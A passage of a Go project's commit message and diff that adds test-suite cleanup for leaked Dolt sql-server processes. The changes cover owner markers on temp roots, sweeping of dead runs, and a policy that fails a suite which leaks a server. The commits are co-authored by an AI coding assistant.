anyway). 7. The symlink leg of the selection test skips instead of failing where os.Symlink is unprivileged. 8. "favour" -> "favor". Tests: go test ./internal/doltserver/ -run 'Sweep|Orphan|Suite|Darwin' -count=1 -v (49 cases, incl. new ones for a moved production workspace, an unmounted volume, the observed orphan in both macOS path forms, the root-scoped selection, canonicalRoots, tempDirRoots, the marker-restore path and the read-only-directory removal); gofmt -l . clean; go vet over doltserver, uow, cmd/bd and storage/dolt; GOOS=windows and GOOS=linux go vet ./internal/doltserver/; golangci-lint clean over all four trees; scripts/check-build-tags.sh clean; go build ./...; go test -c for uow, cmd/bd and storage/dolt. The three live dolt sql-servers on the box were untouched throughout. Refs: wy-j2zc8q Co-Authored-By: Claude Fable 5.1 Claude-Session: https://claude.ai/code/session_01S1sjyiTjodNqNqEzEFbKAE * fix(test): isolate helper circuit state, re-verify late exits, bound TMPDIR Round 3, from the verification pass on efb7a1c39 (PASS-WITH-NITS). 1. internal/storage/dolt: moving the suite root below the isHelperSubprocess return also took the per-helper circuit-breaker directory with it, so all eight of TestMultiProcessSchemaInit's helpers would have inherited the parent's BEADS_TEST_CIRCUIT_DIR and read-modify-written ONE file keyed host:port:db, concurrently — a fresh flake risk in the exact test the move was meant to protect. The helper branch now makes its own temp directory and overrides the variable, as it effectively did before. No sweep and no owner marker for helpers: they start no server, and a helper that leaves through os.Exit would only abandon a marked root. 2. internal/storage/uow: requireBackendExited could observe the server alive and then have it exit before procid.Open/Kill, which report a plain "does not match token" that IsProcessGone does not match — so a server that stopped a few milliseconds late was reported as one that survived Shutdown entirely. Both failure paths now re-verify once and stay silent when the process is gone; only a verifiably-live process is a t.Errorf. A record with no birth token now logs the skip instead of returning silently, so it cannot pass for a clean check. 3. internal/doltserver: tempDirRoots now drops roots too broad to be evidence of anything. TMPDIR is an ordinary environment variable, so os.TempDir() can hand back "/" or a home directory, and either would put every workspace on the box back inside the deleted-cwd arm. isCredibleTempRoot rejects the filesystem root, a relative path, and any directory that is or contains $HOME, while /tmp, /private/tmp and /var/folders/… survive. 4. The identical SIGTERM/SIGKILL loop in sweep_darwin.go and sweep_linux.go is now one reapServerPIDs in sweep_reap_unix.go, taking the platform's identity probe as an isServer validator. It sits in a darwin||linux file rather than the portable sweep.go because the signaling is POSIX; the selection logic that decides which pids reach it stays platform-agnostic in sweep.go. Tests: go test ./internal/doltserver/ -run 'Sweep|Orphan|Suite|Darwin|TempDir' -count=1 (53 cases; new TestTempDirRootsRejectsOverbroadTMPDIR drives TMPDIR=/ and TMPDIR=$HOME through the real os.TempDir, and TestIsCredibleTempRoot tables the predicate); gofmt -l . clean; go vet over doltserver, uow, storage/dolt and cmd/bd; GOOS=windows and GOOS=linux go vet ./internal/doltserver/; golangci-lint clean over all four trees; scripts/check-build-tags.sh clean; go build ./...; go test -c for uow, cmd/bd and storage/dolt. Refs: wy-j2zc8q Co-Authored-By: Claude Fable 5.1 Claude-Session: https://claude.ai/code/session_01S1sjyiTjodNqNqEzEFbKAE * fix(sweep): keep /tmp credible when HOME is a sandbox under it (wy-j2zc8q) PR core went red on every Linux runner: TestTempDirRootsBoundTheOrphanArm and TestTempDirRootsRejectsOverbroadTMPDIR reported tempDirRoots() empty. Cause: scripts/ci/lib/test-env.sh exports HOME under a mktemp -d root in /tmp, and isCredibleTempRoot rejected any root that CONTAINS the home — so /tmp itself was thrown out and the deleted-cwd arm silently disabled on exactly the boxes whose killed runs it exists to clean up after. macOS never showed it: the sandbox home lands under /var/folders, and the hardcoded /tmp survived. The carve-out: a home living inside the fixed /tmp fallback is a SANDBOX home that anchors no workspaces, so a root that merely contains it stays credible. A root that IS the home is still dropped whatever the home looks like, and the sandbox test is judged against the hardcoded /tmp, never os.TempDir(), so TMPDIR=/home with HOME=/home/runner still reads as a real home under an overbroad root. Tests: the overbroad-TMPDIR test now pins HOME to a real-shaped non-temp path (the ambient one is the sandbox on CI, where "a workspace under HOME" and "a path under /tmp" are the same path), plus two new subtests for the sandbox shape and a sandbox row set in the predicate table. Reproduced the red and the fix on Linux in docker with HOME=/tmp/beads-test-env-abc/home; also green with HOME=/home/runner and /root, and on macOS. Co-Authored-By: Claude Fable 5.1 Claude-Session: https://claude.ai/code/session_01QEmu5ZSFoappn7s9yUQ3aF * fix(test): stop leaking daemonized shared-server dolt from test fixtures (wy-j2zc8q) Every uow fixture that provisions a shared-server workspace now registers ONE cleanup, verifiedShutdownCleanup, which stops the proxy and its `dolt sql-server` and — when proxy.Shutdown reports an error — asserts the recorded backend pid is actually gone (procid birth-token gated) instead of printing a t.Logf line into a passing test. Nine copies of the silent idiom are gone; an AST guard fails the package if a fixture provisions a workspace without the cleanup, or calls proxy.Shutdown by hand. A reaped server now FAILS the suite that leaked it (ApplyLeakPolicy), with BEADS_TEST_ALLOW_LEAK=1 as the triage-only downgrade. The previous default warned on stderr and exited 0, which is how all three recurrences rode green suites and were rediscovered from a dev box's process table. The dead-run root sweep (owner marker + SweepDeadSuiteRoots) is extended to the remaining packages that pin a suite temp root and start servers: cmd/bd/doctor (cgo + !cgo), cmd/bd/doctor/fix (cgo + !cgo), internal/beads. * test(uow): guard pairs shutdownOnInterrupt with verifiedShutdownCleanup, exempts validation-error fixtures (wy-j2zc8q) Salvaged from the executor's worktree after the quiet-hours stop: rules A/B/C over *testing.T functions, non-vacuity counters per rule. Co-Authored-By: Claude Fable 5.1 Claude-Session: https://claude.ai/code/session_01YWogqyZMByH2fYqUcafXvw * fix(sweep): treat the per-user temp tree as a sandbox home root (wy-j2zc8q) isSandboxHome whitelisted only /tmp, so on macOS a suite that pins HOME to a t.TempDir() (cmd/bd/test_repo_beads_guard_test.go:128, internal/beads/testmain_test.go:50) put HOME inside os.TempDir() itself (/var/folders/xx/yy/T). isCredibleTempRoot then dropped os.TempDir() as "a directory containing the user's home", tempDirRoots() collapsed to [/tmp /private/tmp], and the deleted-cwd arm of SweepOrphanedTestServers was inert on every Mac. Judge sandbox-ness against a FIXED platform table (isUnderFixedTempRoots / fixedTempRoots): /tmp everywhere, plus /var/folders on darwin, canonicalRoots-expanded so /private/var/folders matches. TMPDIR still never votes on its own credibility, so TMPDIR=/home with HOME=/home/runner keeps reading as a real home under an overbroad root. goos is a parameter, not a read of runtime.GOOS, so the darwin row is pinned from Linux too. Ran: go test -count=1 -run 'TestSandboxHomeUnderPerUserTempRoot|TestTempDirRoots|TestIsCredibleTempRoot|TestCanonicalRoots' ./internal/doltserver/ (ok); the pre-fix repro HOME=$TMPDIR/fake-home-probe go test -run TestTempDirRootsBoundTheOrphanArm now passes. Co-Authored-By: Claude Fable 5.1 Claude-Session: https://claude.ai/code/session_01BVJ7A7qWZYATyg2TsqggSA * test(uow): exempt rule C by explicit name marker, not an error assertion (wy-j2zc8q) The old rule-C exemption — "a function calling require.Error/ErrorContains asserts the constructor rejected its arguments" — inferred intent from the body, and TestNewExternalDoltServerUOWProvider_PreexistingDirtyDatabaseIsNotHealed satisfied it by accident: it provisions a REAL external server, require.NoError on the constructor, then asserts an error from a later query. Deleting BOTH cleanup helpers from it left the guard green (mutation G). Exempt only on an explicit, greppable name marker (_ValidationErrors), and check the marker is not a lie: an exempted function must assert a rejection (require.Error/ErrorContains) and must assert nothing succeeded (no require.NoError/assert.NoError) — closing the rename-to-dodge path too. No non-vacuity floor on the exemption count: if the marker stops matching, rule C only gets stricter and the validation fixtures fail loudly. Positive controls (both reverted): - mutation G (drop both helpers from PreexistingDirty…) → FAIL: "TestNewExternalDoltServerUOWProvider_PreexistingDirtyDatabaseIsNotHealed provisions a shared-server workspace but never calls verifiedShutdownCleanup(t, storeRootDir)" - mutation G renamed to wear the marker → FAIL: "wears the \"_ValidationErrors\" exemption but calls require.NoError/assert.NoError" Ran: go test -count=1 ./internal/storage/uow/ -run 'TestEveryServerFixtureRegistersVerifiedCleanup' (ok; census: rule A paired 9, rule C checked 8, exempted 2). go vet ./internal/storage/uow/ clean. Co-Authored-By: Claude Fable 5.1 Claude-Session: https://claude.ai/code/session_01BVJ7A7qWZYATyg2TsqggSA * test(doctor): fail the doctor and fix suites on a swept leak (wy-j2zc8q) ApplyLeakPolicy was wired into 4 of 7 TestMains; the three doctor-side suites called SweepOrphanedTestServers and discarded its result, so a leaked dolt sql-server there was reaped silently and the run still went green — the exact blindness the policy exists to remove. Four call sites across the three suites, in the pattern cmd/bd/test_repo_beads_guard_test.go:52-54 and internal/storage/uow/testmain_test.go:65-66 already use: cmd/bd/doctor/testmain_nocgo_test.go -> "cmd/bd/doctor" cmd/bd/doctor/dolt_e2e_test.go (cgo) -> "cmd/bd/doctor" cmd/bd/doctor/fix/testmain_cgo_test.go -> "cmd/bd/doctor/fix" cmd/bd/doctor/fix/testmain_nocgo_test.go -> "cmd/bd/doctor/fix" Both build-tag variants compile. Ran: go vet ./cmd/bd/doctor/... (0 issues); CGO_ENABLED=0 go vet ./cmd/bd/doctor/... (0 issues); go build ./... OK; go vet ./internal/doltserver/ ./internal/storage/uow/ ./cmd/bd/doctor/... OK; gofmt -l internal cmd empty; GOOS=linux go build ./... OK; GOOS=windows go build ./... OK. Co-Authored-By: Claude Fable 5.1 Claude-Session: https://claude.ai/code/session_01BVJ7A7qWZYATyg2TsqggSA * fix(sweep): pin darwin's fixed temp roots to their resolved forms (wy-j2zc8q) fixedTempRoots("darwin") listed {"/tmp", "/var/folders"} and left the /private/… forms to canonicalRoots' filepath.EvalSymlinks, which reads the HOST filesystem: it adds them on a Mac and nothing at all on Linux. The platform table is a claim ABOUT darwin that TestSandboxHomeUnderPerUserTempRoot deliberately judges from any platform, so ubuntu CI saw isUnderFixedTempRoots("/private/var/folders/…/fake-home", "darwin") = false. Spell the resolved forms out in the table instead — "/private/tmp" and "/private/var/folders" — so the answer is host-independent. canonicalRoots dedups, so on a Mac they are exactly what it would have added anyway, and the darwin lsof cwd form now matches from any judging platform. Linux rows are unchanged. The subtest is also given a direct assertion on the table's contents: the isUnderFixedTempRoots rows alone cannot catch a dropped literal when they run on a Mac (EvalSymlinks puts it back), so the mutation that started this would have passed locally forever. Co-Authored-By: Claude Fable 5.1 Claude-Session: https://claude.ai/code/session_018MPryBr9EE2Px9crZ4NrTT * test(bd): move the darwin sweep guard onto the leak-fails-the-suite contract (wy-j2zc8q) TestRunTestsAndSweepReapsOrphanedServer predates ApplyLeakPolicy (097757b3e, wy-s4zdj) and asserted the OLD policy: a swept orphan still exits 0. With the policy in place it fails on macOS CI with runTestsAndSweep() = 1, want 0 — the test was pinning exactly the behavior this PR removes. Restate it as the two-case contract it is now: the existing case expects 1 (a swept leak fails an otherwise-passing suite), and a sibling sets doltserver.AllowLeakEnv to "1" and expects 0. Both still assert the fake server was actually reaped; the fake-dolt shape and the reap wait are unchanged. Co-Authored-By: Claude Fable 5.1 Claude-Session: https://claude.ai/code/session_018MPryBr9EE2Px9crZ4NrTT * fix(sweep): report the leaked server's working directory, not just its PID (wy-j2zc8q) Both leak lines named PIDs only: Info: swept 1 orphaned test dolt sql-server process(es): [21881] FAIL: cmd/bd leaked 1 dolt sql-server process(es) [21881]; swept them. By the time anyone reads that, 21881 has been dead for minutes and identifies nothing — so a package with hundreds of tests reported a leak with no way to find which fixture caused it. The sweep already knew the answer: every candidate carries the cwd it was serving (serverCandidate.cwd), and a leaked test server's cwd is the .beads/dolt under the suite's temp tree, which Go names after the test that made it (/TestSomeName1234/001). Thread it through. selectCandidatePIDs/selectOrphanTestServerPIDs become selectServers/selectOrphanTestServers returning a new exported SweptServer {PID, Cwd}, reapServerPIDs becomes reapServers over the same type, and SweepOrphanedTestServers and ApplyLeakPolicy carry it end to end — every existing call site is a pass-through from the one to the other, so they are unchanged. SweptServer.String renders " cwd=", which is what the two stderr lines now print: Info: swept 1 ... process(es): [21881 cwd=/tmp/TestFoo123/001/.beads/dolt] Tests: the darwin ps/lsof selection path now asserts whole SweptServers (cwd included) rather than PIDs; TestSweptServerNamesItsDirectory pins the rendering; TestApplyLeakPolicyNamesTheLeakingDirectory captures stderr and pins the cwd in both the FAIL and the downgraded Warning line; and TestReapServersReportsTheLeakedDirectory pins the Info line against a real reaped process. sweep_other.go (non-unix) keeps the same shape. Co-Authored-By: Claude Fable 5.1 Claude-Session: https://claude.ai/code/session_018MPryBr9EE2Px9crZ4NrTT * fix(test): stop the shared dolt sql-server three init fixtures daemonize (wy-j2zc8q) The leak the new guard catches. `bd init` in shared-server mode takes the shouldInitSharedGlobalDB branch (cmd/bd/init.go:1417) and calls doltserver.Start(sharedDir), which DAEMONIZES — cmd.Process.Release(), no Wait, cmd.Dir = /dolt (doltserver.go:1443-1446). Three cmd/bd fixtures run that as a subprocess with BEADS_DOLT_SHARED_SERVER=1 and never stop it, so the server outlives the `bd` that started it, the test that ran it and the suite whose temp HOME it is serving: cmd/bd/dolt_worktree_remote_test.go:34 (--prefix remote-sync) cmd/bd/init_test.go:2096 (--prefix bare-fallback) cmd/bd/init_test.go:2318 (--prefix bare-core) Evidence: a full local `go test ./cmd/bd/` left `dolt sql-server --config /.beads/shared-server/dolt-server-config.yaml` running with cwd /private/var/folders/…/beads-bd-tests-1850365081/.beads/ shared-server/dolt and databases beads_global + remote_sync — the remote-sync prefix names the fixture. All three resolve the SAME $HOME/.beads/shared-server, so only the last starter leaves a survivor; the process table names one while three carry the defect. stopSharedServerCleanup (new cmd/bd/shared_server_cleanup_test.go) is the one cleanup they now register, before the first subprocess so the t.Fatalf paths are covered: record the pid from doltserver.IsRunning BEFORE stopping (a clean Stop deletes the pid file), capture its procid birth token, doltserver.Stop, then assert the recorded process actually left — t.Errorf and a force-kill if it did not. Birth-token gated throughout: the server is not this process's child, so its PID is reusable the moment it exits. Same shape as verifiedShutdownCleanup in internal/storage/uow (35faf60e5). Verified both ways on the same two tests: before: FAIL: cmd/bd leaked 1 dolt sql-server process(es) [4217 cwd=/private/var/folders/…/beads-bd-tests-1902359010/.beads/shared-server/dolt] after: no Info/FAIL leak line, no sql-server left under any suite root The three assertion failures in those tests (dolt_worktree_remote_test.go sync.remote, init_test.go DoltMode server/embedded) reproduce identically with and without this commit — pre-existing, untouched here. Co-Authored-By: Claude Fable 5.1 Claude-Session: https://claude.ai/code/session_018MPryBr9EE2Px9crZ4NrTT * fix(test): stop the shared and proxied servers the init-metrics fixture daemonizes (wy-j2zc8q) The post-run sweep on 164661ce4c named a fourth leaker on both CI runners: `bd-metrics-home-*/.beads/shared-server/dolt`, TestInitMetricsEmittedPerDoltMode's shared_server_via_flag case. That fixture runs `bd init --shared-server` with HOME set only in the subprocess env, so the daemonized shared server lives under a tree the in-process stopSharedServerCleanup never looks at. The same table's proxied_server_via_flag case leaves a proxy plus its backend server under /.beads/dolt with proxy.pid / proxy-child.pid records that no dolt-server.pid cleanup can see. - stopDoltServerCleanup(t, beadsDir): the existing verified stop, now with an explicit beads directory; stopSharedServerCleanup keeps its signature. - stopProxiedServerCleanup(t, proxyRoot): proxy.Shutdown (the verified stop `bd dolt stop` performs) when either record exists. - runBdInitForMetrics registers both before the subprocess runs, and the shared case now passes BEADS_DOLT_SERVER_PORT= so it actually starts a server on a box whose 3308 is already taken instead of silently skipping the path (the previously unused extraEnv field carries it). Probe: with the two registrations commented out the sweep reports both servers (`swept 2 ... bd-metrics-home-*/.beads/shared-server/dolt ... bd-metrics-repo-*/.beads/dolt`); with them in place the package is ok. Co-Authored-By: Claude Fable 5.1 Claude-Session: https://claude.ai/code/session_01HXZ9wbaFUnzRWcMj7iBxmq * fix(test): scope suite leak attribution and verify cleanup (bd-154w) Maintainer fixup for PR #6441, review attempts 1, 2, and 3. Wire dbproxy/server into the marked suite-root lifecycle and verify the standard fixture's backend shutdown before its directory is removed. Capture synthetic leak-policy stderr, share the suite-root guard helper, and document the manual repro harness's unconditional Kill/Wait cleanup. Use SweepSuiteTestServers for every failure-producing post-run sweep, including CGO, non-CGO, and integration callers. It delegates to the existing strict root selector so a clean suite cannot reap another live suite's deleted-cwd leak or fail in its place. Keep abandoned-run cleanup separate through owner-checked SweepDeadSuiteRoots, and deprecate the legacy global sweep for TestMain use without deleting contributor tests. Pin and mark the integration suite's temporary root to retain detection. Add a Linux process regression proving clean B preserves A's deleted-cwd server and passes, then A reaps its own server and fails. Retain dead-owner cleanup coverage and guard both integration temporary-directory APIs. Pin the storage, CLI, and internal/beads suite roots before fixtures run, with guards for both temporary-directory APIs. Preserve the storage helper subprocess early return and the original parent for abandoned-root cleanup. A Linux subprocess regression exercises the real storage TestMain: an owned deleted-cwd fixture fails its suite while a foreign process survives. Keep the CLI sandbox HOME beside fixtures so ~/.beads cannot become a fixture ancestor and interfere with worktree repository discovery. Keep integration server data owned but allocate its Unix socket in a short, private directory with explicit cleanup. Exercise a data path exceeding the Unix socket path budget while retaining the real SQL round trip. Co-Authored-By: Claude Opus 5 Agent-Signature: Codex-unknown-model-unknown-reasoning on behalf of Julian Knutsen --------- Co-authored-by: Claude Fable 5.1 Co-authored-by: Eddie the Engineer --- cmd/bd/doctor/dolt_e2e_test.go | 21 +- cmd/bd/doctor/fix/suite_temp_test.go | 30 +- cmd/bd/doctor/fix/testmain_cgo_test.go | 21 +- cmd/bd/doctor/fix/testmain_nocgo_test.go | 19 +- cmd/bd/doctor/suite_temp_test.go | 30 +- cmd/bd/doctor/testmain_nocgo_test.go | 19 +- cmd/bd/dolt_worktree_remote_test.go | 6 + cmd/bd/init_metrics_test.go | 32 +- cmd/bd/init_test.go | 9 + cmd/bd/shared_server_cleanup_test.go | 183 ++++++++ cmd/bd/suite_temp_test.go | 31 ++ cmd/bd/test_repo_beads_guard_darwin_test.go | 101 +++-- cmd/bd/test_repo_beads_guard_test.go | 40 +- internal/beads/suite_temp_test.go | 28 ++ internal/beads/testmain_test.go | 28 +- .../doltserver/socket_integration_test.go | 15 +- internal/doltserver/sweep.go | 259 +++++++++-- internal/doltserver/sweep_darwin.go | 111 +++-- internal/doltserver/sweep_darwin_test.go | 120 +++++ internal/doltserver/sweep_linux.go | 101 +---- internal/doltserver/sweep_other.go | 11 +- internal/doltserver/sweep_reap_unix.go | 63 +++ internal/doltserver/sweep_reap_unix_test.go | 53 +++ internal/doltserver/sweep_suite.go | 257 +++++++++++ internal/doltserver/sweep_suite_linux_test.go | 82 ++++ internal/doltserver/sweep_suite_other.go | 18 + internal/doltserver/sweep_suite_test.go | 384 ++++++++++++++++ internal/doltserver/sweep_suite_unix.go | 45 ++ internal/doltserver/sweep_test.go | 423 +++++++++++++++++- .../doltserver/testmain_integration_test.go | 52 ++- .../storage/dbproxy/server/doltserver_test.go | 145 +++++- .../storage/dbproxy/server/testmain_test.go | 86 ++++ .../storage/dolt/suite_leak_linux_test.go | 92 ++++ internal/storage/dolt/suite_temp_test.go | 29 ++ internal/storage/dolt/testmain_test.go | 81 +++- .../storage/uow/doltserver_provider_test.go | 12 +- .../uow/external_doltserver_provider_test.go | 24 +- internal/storage/uow/lostupdate_dolt_test.go | 6 +- .../uow/shared_server_cleanup_guard_test.go | 268 +++++++++++ .../storage/uow/shared_server_cleanup_test.go | 175 ++++++++ .../uow/team_server_integration_test.go | 6 +- internal/storage/uow/testmain_test.go | 78 ++++ .../uow/version_reconcile_integration_test.go | 6 +- internal/testutil/suite_temp.go | 34 +- scripts/repro-dolt-prod-timeouts/main_test.go | 13 + 45 files changed, 3298 insertions(+), 349 deletions(-) create mode 100644 cmd/bd/shared_server_cleanup_test.go create mode 100644 cmd/bd/suite_temp_test.go create mode 100644 internal/beads/suite_temp_test.go create mode 100644 internal/doltserver/sweep_darwin_test.go create mode 100644 internal/doltserver/sweep_reap_unix.go create mode 100644 internal/doltserver/sweep_reap_unix_test.go create mode 100644 internal/doltserver/sweep_suite.go create mode 100644 internal/doltserver/sweep_suite_linux_test.go create mode 100644 internal/doltserver/sweep_suite_other.go create mode 100644 internal/doltserver/sweep_suite_test.go create mode 100644 internal/doltserver/sweep_suite_unix.go create mode 100644 internal/storage/dbproxy/server/testmain_test.go create mode 100644 internal/storage/dolt/suite_leak_linux_test.go create mode 100644 internal/storage/dolt/suite_temp_test.go create mode 100644 internal/storage/uow/shared_server_cleanup_guard_test.go create mode 100644 internal/storage/uow/shared_server_cleanup_test.go create mode 100644 internal/storage/uow/testmain_test.go diff --git a/cmd/bd/doctor/dolt_e2e_test.go b/cmd/bd/doctor/dolt_e2e_test.go index 2944dd3e3..575514bf1 100644 --- a/cmd/bd/doctor/dolt_e2e_test.go +++ b/cmd/bd/doctor/dolt_e2e_test.go @@ -62,10 +62,18 @@ func testMainInner(m *testing.M) int { // doctor_pkg_shared and doctest_*-prefixed databases through. os.Setenv("BEADS_TEST_SERVER", "1") - // Pin t.TempDir() under a suite-owned root so SweepOrphanedTestServers + // Clear out the roots of earlier runs of this suite whose process is + // gone, before claiming one of our own. A `go test -timeout` panic skips + // every defer here AND the post-run sweep, so the servers such a run + // started outlive every cleanup this process installs and nothing ever + // looks at that run's tree again (wy-j2zc8q). Roots with no owner marker, + // and roots whose owner is still running, are left untouched. + doltserver.SweepDeadSuiteRoots(os.TempDir(), suiteRootPrefix) + + // Pin t.TempDir() under a suite-owned root so SweepSuiteTestServers // can reap AutoStart leftovers whose t.TempDir() cleanup failed because // the live child still holds the tree (gastownhall/beads#5631). - root, pinErr := testutil.PinSuiteTempRoot("beads-doctor-tests-*") + root, pinErr := testutil.PinSuiteTempRoot(suiteRootPrefix + "*") if pinErr != nil { fmt.Fprintf(os.Stderr, "FATAL: suite temp root: %v\n", pinErr) return 1 @@ -73,6 +81,12 @@ func testMainInner(m *testing.M) int { suiteTempRoot = root defer os.RemoveAll(root) + // Claim the root for this process so the NEXT run can tell our debris + // from a concurrent run's live tree. + if err := doltserver.WriteSuiteOwnerMarker(root); err != nil { + fmt.Fprintf(os.Stderr, "Warning: could not claim suite temp root %s: %v\n", root, err) + } + if err := testutil.EnsureDoltContainerForTestMain(); err != nil { fmt.Fprintf(os.Stderr, "WARN: %v, skipping Dolt tests\n", err) } else { @@ -101,7 +115,8 @@ func testMainInner(m *testing.M) int { // Best-effort reap of any dolt sql-server left running under a temp dir // this suite created (e.g. a SIGKILLed run) — see // gastownhall/beads mybd-q6cz / #5631. - doltserver.SweepOrphanedTestServers(root, testBDDir) + swept := doltserver.SweepSuiteTestServers(root, testBDDir) + code = doltserver.ApplyLeakPolicy("cmd/bd/doctor", code, swept) os.Unsetenv("BEADS_DOLT_PORT") os.Unsetenv("BEADS_TEST_MODE") diff --git a/cmd/bd/doctor/fix/suite_temp_test.go b/cmd/bd/doctor/fix/suite_temp_test.go index 91f53ec63..7aba7e642 100644 --- a/cmd/bd/doctor/fix/suite_temp_test.go +++ b/cmd/bd/doctor/fix/suite_temp_test.go @@ -1,39 +1,25 @@ package fix import ( - "os" - "path/filepath" - "strings" "testing" + + "github.com/steveyegge/beads/internal/testutil" ) // suiteTempRoot is the TestMain-owned temp directory that t.TempDir must -// land under so SweepOrphanedTestServers can reap leaked sql-servers. +// land under so SweepSuiteTestServers can reap leaked sql-servers. var suiteTempRoot string +// suiteRootPrefix is this suite's PinSuiteTempRoot pattern without its +// random tail. SweepDeadSuiteRoots globs for it, so the two must not drift. +const suiteRootPrefix = "beads-fix-tests-" + func TestTempDirLandsUnderSuiteSweepRoot(t *testing.T) { if suiteTempRoot == "" { t.Fatal("TestMain did not pin suiteTempRoot; leaked dolt sql-server processes cannot be swept") } tmp := t.TempDir() - if !pathUnderRoot(tmp, suiteTempRoot) { + if !testutil.PathUnderSuiteRoot(tmp, suiteTempRoot) { t.Fatalf("t.TempDir() %q is not under suiteTempRoot %q", tmp, suiteTempRoot) } } - -func pathUnderRoot(dir, root string) bool { - dir = evalOrSelf(dir) - root = evalOrSelf(root) - if dir == root { - return true - } - sep := string(os.PathSeparator) - return strings.HasPrefix(dir, strings.TrimRight(root, sep)+sep) -} - -func evalOrSelf(p string) string { - if r, err := filepath.EvalSymlinks(p); err == nil { - return r - } - return p -} diff --git a/cmd/bd/doctor/fix/testmain_cgo_test.go b/cmd/bd/doctor/fix/testmain_cgo_test.go index 88fa31362..b93c2b2f1 100644 --- a/cmd/bd/doctor/fix/testmain_cgo_test.go +++ b/cmd/bd/doctor/fix/testmain_cgo_test.go @@ -31,11 +31,19 @@ func testMainInner(m *testing.M) int { defer testutil.TerminateDoltContainer() } + // Clear out the roots of earlier runs of this suite whose process is + // gone, before claiming one of our own. A `go test -timeout` panic skips + // every defer here AND the post-run sweep, so the servers such a run + // started outlive every cleanup this process installs and nothing ever + // looks at that run's tree again (wy-j2zc8q). Roots with no owner marker, + // and roots whose owner is still running, are left untouched. + doltserver.SweepDeadSuiteRoots(os.TempDir(), suiteRootPrefix) + // Pin t.TempDir() under a suite-owned root so the sweep below can reap // AutoStart leftovers whose directory cleanup failed because the live // child still holds the tree (gastownhall/beads#5631). Must never be a - // shared/global temp dir (see SweepOrphanedTestServers). - root, pinErr := testutil.PinSuiteTempRoot("beads-fix-tests-*") + // shared/global temp dir (see SweepSuiteTestServers). + root, pinErr := testutil.PinSuiteTempRoot(suiteRootPrefix + "*") if pinErr != nil { fmt.Fprintf(os.Stderr, "FATAL: suite temp root: %v\n", pinErr) return 1 @@ -43,12 +51,19 @@ func testMainInner(m *testing.M) int { suiteTempRoot = root defer os.RemoveAll(root) + // Claim the root for this process so the NEXT run can tell our debris + // from a concurrent run's live tree. + if err := doltserver.WriteSuiteOwnerMarker(root); err != nil { + fmt.Fprintf(os.Stderr, "Warning: could not claim suite temp root %s: %v\n", root, err) + } + code := m.Run() // Best-effort reap of any dolt sql-server left running under this // suite's own temp root (e.g. a SIGKILLed run) — see // gastownhall/beads mybd-q6cz / #5631. - doltserver.SweepOrphanedTestServers(root) + swept := doltserver.SweepSuiteTestServers(root) + code = doltserver.ApplyLeakPolicy("cmd/bd/doctor/fix", code, swept) os.Unsetenv("BEADS_DOLT_PORT") os.Unsetenv("BEADS_TEST_MODE") os.Unsetenv("BEADS_TEST_SERVER") diff --git a/cmd/bd/doctor/fix/testmain_nocgo_test.go b/cmd/bd/doctor/fix/testmain_nocgo_test.go index db4e45f99..2329d310e 100644 --- a/cmd/bd/doctor/fix/testmain_nocgo_test.go +++ b/cmd/bd/doctor/fix/testmain_nocgo_test.go @@ -19,7 +19,15 @@ func TestMain(m *testing.M) { } func testMainInner(m *testing.M) int { - root, err := testutil.PinSuiteTempRoot("beads-fix-tests-*") + // Clear out the roots of earlier runs of this suite whose process is + // gone, before claiming one of our own. A `go test -timeout` panic skips + // every defer here AND the post-run sweep, so the servers such a run + // started outlive every cleanup this process installs and nothing ever + // looks at that run's tree again (wy-j2zc8q). Roots with no owner marker, + // and roots whose owner is still running, are left untouched. + doltserver.SweepDeadSuiteRoots(os.TempDir(), suiteRootPrefix) + + root, err := testutil.PinSuiteTempRoot(suiteRootPrefix + "*") if err != nil { fmt.Fprintf(os.Stderr, "FATAL: suite temp root: %v\n", err) return 1 @@ -27,7 +35,14 @@ func testMainInner(m *testing.M) int { suiteTempRoot = root defer os.RemoveAll(root) + // Claim the root for this process so the NEXT run can tell our debris + // from a concurrent run's live tree. + if err := doltserver.WriteSuiteOwnerMarker(root); err != nil { + fmt.Fprintf(os.Stderr, "Warning: could not claim suite temp root %s: %v\n", root, err) + } + code := m.Run() - doltserver.SweepOrphanedTestServers(root) + swept := doltserver.SweepSuiteTestServers(root) + code = doltserver.ApplyLeakPolicy("cmd/bd/doctor/fix", code, swept) return code } diff --git a/cmd/bd/doctor/suite_temp_test.go b/cmd/bd/doctor/suite_temp_test.go index 668a3a535..b22ccfb3d 100644 --- a/cmd/bd/doctor/suite_temp_test.go +++ b/cmd/bd/doctor/suite_temp_test.go @@ -1,39 +1,25 @@ package doctor import ( - "os" - "path/filepath" - "strings" "testing" + + "github.com/steveyegge/beads/internal/testutil" ) // suiteTempRoot is the TestMain-owned temp directory that t.TempDir must -// land under so SweepOrphanedTestServers can reap leaked sql-servers. +// land under so SweepSuiteTestServers can reap leaked sql-servers. var suiteTempRoot string +// suiteRootPrefix is this suite's PinSuiteTempRoot pattern without its +// random tail. SweepDeadSuiteRoots globs for it, so the two must not drift. +const suiteRootPrefix = "beads-doctor-tests-" + func TestTempDirLandsUnderSuiteSweepRoot(t *testing.T) { if suiteTempRoot == "" { t.Fatal("TestMain did not pin suiteTempRoot; leaked dolt sql-server processes cannot be swept") } tmp := t.TempDir() - if !pathUnderRoot(tmp, suiteTempRoot) { + if !testutil.PathUnderSuiteRoot(tmp, suiteTempRoot) { t.Fatalf("t.TempDir() %q is not under suiteTempRoot %q", tmp, suiteTempRoot) } } - -func pathUnderRoot(dir, root string) bool { - dir = evalOrSelf(dir) - root = evalOrSelf(root) - if dir == root { - return true - } - sep := string(os.PathSeparator) - return strings.HasPrefix(dir, strings.TrimRight(root, sep)+sep) -} - -func evalOrSelf(p string) string { - if r, err := filepath.EvalSymlinks(p); err == nil { - return r - } - return p -} diff --git a/cmd/bd/doctor/testmain_nocgo_test.go b/cmd/bd/doctor/testmain_nocgo_test.go index e626d7732..108dd6ed6 100644 --- a/cmd/bd/doctor/testmain_nocgo_test.go +++ b/cmd/bd/doctor/testmain_nocgo_test.go @@ -19,7 +19,15 @@ func TestMain(m *testing.M) { } func testMainInner(m *testing.M) int { - root, err := testutil.PinSuiteTempRoot("beads-doctor-tests-*") + // Clear out the roots of earlier runs of this suite whose process is + // gone, before claiming one of our own. A `go test -timeout` panic skips + // every defer here AND the post-run sweep, so the servers such a run + // started outlive every cleanup this process installs and nothing ever + // looks at that run's tree again (wy-j2zc8q). Roots with no owner marker, + // and roots whose owner is still running, are left untouched. + doltserver.SweepDeadSuiteRoots(os.TempDir(), suiteRootPrefix) + + root, err := testutil.PinSuiteTempRoot(suiteRootPrefix + "*") if err != nil { fmt.Fprintf(os.Stderr, "FATAL: suite 